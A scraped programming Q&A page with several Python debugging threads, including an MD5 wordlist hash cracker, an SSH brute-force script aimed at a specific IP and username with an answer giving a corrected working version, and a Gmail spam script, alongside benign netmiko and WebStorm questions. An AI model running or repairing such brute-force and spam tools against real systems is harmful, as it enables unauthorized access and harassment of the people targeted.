I am getting an error with hashlib module - python

I searched on google and found that it is pre installed and need not to be installed using pip
But when I ran a program writing by watching youtube but when i ran it gave me error
> Enter md5 hash: b73bf7d3ba1a517644661bc4bcd85f9a
> File name: passlist.txt
> Traceback (most recent call last): File "hack.py", line 20, in <module>
> digest = hashlib.md5(enc_wrd()).hexdigest() TypeError: 'bytes' object is not callable
but it showed this error bytes not callable sometimes freezed
This is my code:
import hashlib
flag = 0
counter = 0
pass_hash = input("Enter md5 hash: ")
wordlist = input("File name: ")
try:
pass_file = open(wordlist, "r")
except:
print("No file found")
quit()
for word in pass_file:
enc_wrd = word.encode('utf-8')
digest = hashlib.md5(enc_wrd()).hexdigest()
if digest == pass_hash:
print("Password found")
print("Password:" + word)
flag = 1
break
if flag == 0:
print("Password is not in list")

Replace digest = hashlib.md5(enc_wrd()).hexdigest() with digest = hashlib.md5(enc_wrd).hexdigest() because enc_wrd is bytes and you can't call it.

Related

getting error TypeError: expected str, bytes or os.PathLike object, not _io.TextIOWrapper

I am trying to use the python netmiko library to automate configuration of cisco devices using files, however I am getting the below error while testing. From googling I am guessing it may be something to do with the open function I have used for the configuration file.
Traceback (most recent call last):
File "config-auto.py", line 55, in <module>
device_list()
File "config-auto.py", line 50, in device_list
output = net_connect.send_config_from_file(inputfile)
File "/home/mmwanza/flask-project/venv/lib/python3.6/site-packages/netmiko/base_connection.py", line 2022, in send_config_from_file
with io.open(config_file, "rt", encoding="utf-8") as cfg_file:
TypeError: expected str, bytes or os.PathLike object, not _io.TextIOWrapper
from netmiko import ConnectHandler
import getpass
#prompt user for username
username = input('Enter username: ')
##username method to return the username
def credentials_username():
cred = username
return cred
#prompt user for password
p = getpass.getpass('Enter password: ')
##password method to return the password
def credentials_password():
password = p
return password
#Prompt to enter device file
devices_file = input('Enter devices inventory file name: ')
with open(devices_file) as hosts:
addresses = hosts.readlines()
#Prompt to enter configuration file
configsfile = input('Enter configuration file: ')
inputfile = open(configsfile, "r")
##devices dictionary
def device_list():
ios_device_info = dict()
for device in addresses:
ios_device_info['ip'] = device
ios_device_info['device_type'] = "cisco_ios"
ios_device_info['username'] = credentials_username()
ios_device_info['password'] = credentials_password()
net_connect = ConnectHandler(**ios_device_info)
output = net_connect.send_config_from_file(inputfile)
device_list()

Converting Python 2 to 3 with Encryption Function

The script was written for Python 2 but I need to convert it to Python 3. When I do, it throws my this error "TypeError: can't concat str to bytes"
Result:
Traceback (most recent call last):
File "tplink_smartplug.py", line 105, in <module>
sock_tcp.send(encrypt(cmd))
File "tplink_smartplug.py", line 70, in encrypt
result += chr(a)
TypeError: can't concat str to bytes
# XOR Autokey Cipher with starting key = 171
def encrypt(string):
key = 171
result = pack('>I', len(string))
for i in string:
a = key ^ ord(i)
key = a
result += chr(a) #line70
return result
def decrypt(string):
key = 171
result = ""
for i in string:
a = key ^ ord(i)
key = ord(i)
result += chr(a)
return result
# Send command and receive reply
try:
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.connect((ip, port))
sock_tcp.send(encrypt(cmd)) #line105
data = sock_tcp.recv(2048)
sock_tcp.close()
print(("Sent: ", cmd ))
print(("Received: ", decrypt(data[4:]) ))
except socket.error:
quit("Cound not connect to host " + ip + ":" + str(port))
Yes it has been revised for Python3 at GITHUB

Python SSH Brute Force

Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above

python AttributeError: module 'smtplib' has no attribute 'SMPT'

i am a python beginner and i'd like to get some help from you.
Recently i wrote a program which is about email spamming(retrieving data from a config file) using the 'smtp' module which i can't use very well so when i ran the program, it says this:
enter any key to exit
enter 'spam' to spam an email
Enter: spam
Running..Running..Running..Running..Running..Running..Running..Traceback (most recent call last):
File "C:\Users\Leon\Desktop\Progetti\Gdaze\Gdaze.py", line 61, in <module>
emailSetupAndGo(getData()[0], getData()[1], getData()[2], getData()[3], getData()[4], getData()[5])
File "C:\Users\Leon\Desktop\Progetti\Gdaze\Gdaze.py", line 46, in emailSetupAndGo
server = smtplib.SMPT('smtp.gmail.com:587')
AttributeError: module 'smtplib' has no attribute 'SMPT'
After seeing this error i searched it and found out, on stackoverflow, a solution, but it worked just for people who named the file email.py.
Here you are the source code(I also think i made a mistake with the .split(' ') to delete the spaces) so you can tell me what the error is:
import smtplib
import sys
def getData():
#GETTING DATA FROM THE FILE
configFile = open('config.txt', 'rt')
usernameLine = configFile.readline()
passwordLine = configFile.readline()
nLine = configFile.readline()
fromemailLine = configFile.readline()
toemailLine = configFile.readline()
msgLine = configFile.readline()
configFile.close()
if "<yourgmail's>" in usernameLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<yourgmail's>" in passwordLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<int>" in nLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<youremail>" in fromemailLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<emailtospam>" in toemailLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
elif "<msg>" in msgLine:
sys.stderr.write("NoSettings ERROR: modify the config.txt file before you run the program.")
else:
sys.stdout.write("Running..")
#DECLARING THE MAIN VARIABLES
u = str(usernameLine[11:])
pw = str(passwordLine[11:])
n = str(nLine[27:])
fromemail = str(fromemailLine[12:])
toemail = str(toemailLine[10:])
msg = str(msgLine[10:])
#DELETING SPACES IN THE FILE TO STORE CORRECTLY THE DATA
u.split(" ")
pw.split(" ")
n.split(" ")
fromemail.split(" ")
toemail.split(" ")
msg.split(" ")
data = [u, pw, n, fromemail, toemail, msg]
return data
def emailSetupAndGo(n, username, password, fromemail, toemail, message):
server = smtplib.SMPT('smtp.gmail.com:587')
server.starttls()
server.login(username, password)
for i in n:
server.sendmail(fromemail, toemail, message)
server.quit()
def help():
sys.stdout.write("enter any key to exit\nenter 'spam' to spam an email\n")
while True:
help()
entered = input("Enter: ")
if entered == 'spam':
getData()
emailSetupAndGo(getData()[0], getData()[1], getData()[2], getData()[3], getData()[4], getData()[5])
else:
break
And here you are the config file:
username = <yourgmail's>
password = <yourgmail's>
number of emails to spam = <int>
fromemail = <youremail>
toemail = <emailtospam>
message = <msg>

WebStorm startup error on Lubuntu 14.04

I am new to Linux. I am using Lubuntu 14.04. Python version is 2.7.6.
I have installed WebStorm 8 in following location:
david#david:/usr/opt/webstorm/bin$
When I run following command in bin folder:
./webstorm.sh
It gives me following error:
Traceback (most recent call last):
File "/usr/lib/python2.7/site.py", line 68, in <module>
import os
File "/usr/lib/python2.7/os.py", line 398, in <module>
import UserDict
File "/usr/lib/python2.7/UserDict.py", line 83, in <module>
import _abcoll
File "/usr/lib/python2.7/_abcoll.py", line 11, in <module>
from abc import ABCMeta, abstractmethod
File "/usr/lib/python2.7/abc.py", line 8, in <module>
from _weakrefset import WeakSet
ImportError: No module named _weakrefset
I have installed "weakrefset" by using following command (and it gave me message of successful installation):
sudo pip install weakrefset
But problem is still there and Webstorm is not starting up.
WebStrom.sh is as follows:
#!/usr/bin/python
import socket
import struct
import sys
import os
import time
# see com.intellij.idea.SocketLock for the server side of this interface
RUN_PATH = '/usr/opt/webstorm/bin/webstorm.sh'
CONFIG_PATH = '/home/david/.WebStorm8/config'
args = []
skip_next = False
for i, arg in enumerate(sys.argv[1:]):
if arg == '-h' or arg == '-?' or arg == '--help':
print(('Usage:\n' + \
' {0} -h |-? | --help\n' + \
' {0} [-l|--line line] file[:line]\n' + \
' {0} diff file1 file2').format(sys.argv[0]))
exit(0)
elif arg == 'diff' and i == 0:
args.append(arg)
elif arg == '-l' or arg == '--line':
args.append(arg)
skip_next = True
elif skip_next:
args.append(arg)
skip_next = False
else:
if ':' in arg:
file_path, line_number = arg.rsplit(':', 1)
if line_number.isdigit():
args.append('-l')
args.append(line_number)
args.append(os.path.abspath(file_path))
else:
args.append(os.path.abspath(arg))
else:
args.append(os.path.abspath(arg))
def launch_with_port(port):
found = False
s = socket.socket()
s.settimeout(0.3)
try:
s.connect(('127.0.0.1', port))
except:
return False
while True:
try:
path_len = struct.unpack(">h", s.recv(2))[0]
path = s.recv(path_len)
path = os.path.abspath(path)
if os.path.abspath(path) == os.path.abspath(CONFIG_PATH):
found = True
break
except:
break
if found:
if args:
cmd = "activate " + os.getcwd() + "\0" + "\0".join(args)
encoded = struct.pack(">h", len(cmd)) + cmd
s.send(encoded)
time.sleep(0.5) # don't close socket immediately
return True
return False
port = -1
try:
f = open(os.path.join(CONFIG_PATH, 'port'))
port = int(f.read())
except Exception:
type, value, traceback = sys.exc_info()
print(value)
port = -1
if port == -1:
# SocketLock actually allows up to 50 ports, but the checking takes too long
for port in range(6942, 6942+10):
if launch_with_port(port): exit()
else:
if launch_with_port(port): exit()
if sys.platform == "darwin":
# Mac OS: RUN_PATH is *.app path
if len(args):
args.insert(0, "--args")
os.execvp("open", ["-a", RUN_PATH] + args)
else:
# unix common
bin_dir, bin_file = os.path.split(RUN_PATH)
os.chdir(bin_dir)
os.execv(bin_file, [bin_file] + args)
Can someone guide me to solve this problem.
Might be a problem of python-virtualenv that was fixed in python-virtualenv - 1.4.9-3ubuntu1. Please see: https://bugs.launchpad.net/ubuntu/+source/python-virtualenv/+bug/662611
See also http://devnet.jetbrains.com/message/5514381#5514381
Problem is called by running the "Create Desktop Entry" which replaces the shell script with a python script (and probably does some other things since replacing only webstorm.sh did not work).
I fixed it by deleting the install directory and unzipping the downloaded file again.

Categories

Resources